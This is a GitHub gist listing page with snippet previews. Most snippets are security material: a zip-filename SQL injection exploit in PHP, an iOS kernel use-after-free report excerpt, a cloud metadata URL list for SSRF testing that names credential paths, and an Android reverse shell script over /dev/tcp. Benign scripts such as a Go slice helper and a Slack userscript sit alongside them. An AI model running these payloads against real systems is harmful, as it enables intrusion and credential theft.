Skip to content

Instantly share code, notes, and snippets.

View omarkurt's full-sized avatar
:octocat:
Working from home

Omar Kurt omarkurt

:octocat:
Working from home
207 followers · 98 following
View GitHub Profile
@mcipekci
mcipekci / exploit.php
Created March 21, 2023 13:35
Exploiting SQL injection via unzipped file contents
<?php
// Prepare File
$file = tempnam("/tmp", "zip");
$zip = new ZipArchive();
$zip->open($file, ZipArchive::OVERWRITE);
// Add file name with SQLi payload
$zip->addFromString("'+(CASE WHEN 1=".$_GET['value']." THEN 1 ELSE sleep(10) END)+'", "");
// Close and send to the server
$zip->close();
$cf = new CURLFile($file);
@0x36
0x36 / jpeg.c
Created March 25, 2020 21:51
#if 0
Reported : 19-Jan-2020
Fixed in iOS 13.4 with CVE-2020-9768
AppleJPEGDriverUserClient : mach port use-after-free/type-confusion via race condition
AppleJPEGDriverUserClient external methods can be used synchronously or asynchronously, when used asynchronously,
it brings the registered mach port (via registerNotificationPort()) and put it inside jpegRequest data structure,
and no reference count was taken for this operation. since registerNotificationPort() is not gated, it is
possible to release the port (if the port got substituted) during the processing of jpeg request and end up
with dangling pointer passed to _mach_msg_send_from_kernel_proper().
@numanturle
numanturle / code.php
Created January 27, 2020 22:31
css html via content svg url
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Title of the document</title>
<link href="<?php echo (isset($_GET['css'])?htmlspecialchars($_GET['css']):null); ?>" rel="stylesheet">
</head>
<body>
Content of the document......
</body>
@nuryslyrt
nuryslyrt / cloud_metadata.txt
Created July 2, 2018 12:48 — forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
@random-robbie
random-robbie / android-shell.sh
Last active May 5, 2024 13:40
Android Reverse Shell
#!/bin/bash
# Simple reverse shell on android devie using Android Debug Bridge ensure you run nc -lvp 4444 on another screen first.
# By Random_Robbie
adb connect $1:5555
adb shell sh -i >& /dev/tcp/$2/4444 0>&1
echo "[*] Should have a shell now ..... Be nice :) [*]"
@random-robbie
random-robbie / screenshot.sh
Created June 8, 2018 17:21
#!/bin/bash
chromium-browser --headless --disable-gpu --window-size=1920,1080 --screenshot http://$1 --screenshot=$RANDOM.jpg >/dev/null 2>&1
echo "[*] Screenshot Taken of http://$1 [*]"
@random-robbie
random-robbie / bookmarks.html
Last active April 1, 2019 11:39
Private Bookmarks
https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-kubelet-823be5c3d67c
https://www.cidrcalculator.com/asn/asn-to-prefix.html?lang=en
https://itnext.io/aks-kubernetes-security-walk-through-challenge-2-dbe3ed16beec
https://www.digitalinterruption.com/single-post/2018/06/04/Are-Your-Cookies-Telling-Your-Fortune
https://blog.innerht.ml/
@aricih
aricih / Colorized Slack.user.js
Last active April 17, 2018 07:12
Colorized Slack Threads and more
// ==UserScript==
// @name Colorized Slack
// @namespace https://www.netsparker.com/
// @version 1.4.1
// @description Colorizes the message threads.
// @author Hakan Arıcı
// @include *.slack.com*
// ==/UserScript==
(function() {
@r6m
r6m / slice_exists.go
Last active November 10, 2019 23:53
golang check if item exists in slice
package main
import(
"fmt"
"reflect"
)
func main() {
items := []int{1,2,3,4,5,6}
fmt.Println(SliceExists(items, 5)) // returns true
@taviso
taviso / delete-twitter-dm.js
Created November 3, 2017 16:33
Automate deleting twitter direct messages.
// Open direct messages window, paste this into console.
function deleteNextConversation()
{
if (!(dm = document.getElementsByClassName("DMInbox-conversationItem")[0])) {
clearInterval(tmr)
return;
}
dm.firstChild.click();
setTimeout('document.getElementsByClassName("js-actionDeleteConversation")[0].click()', 1000);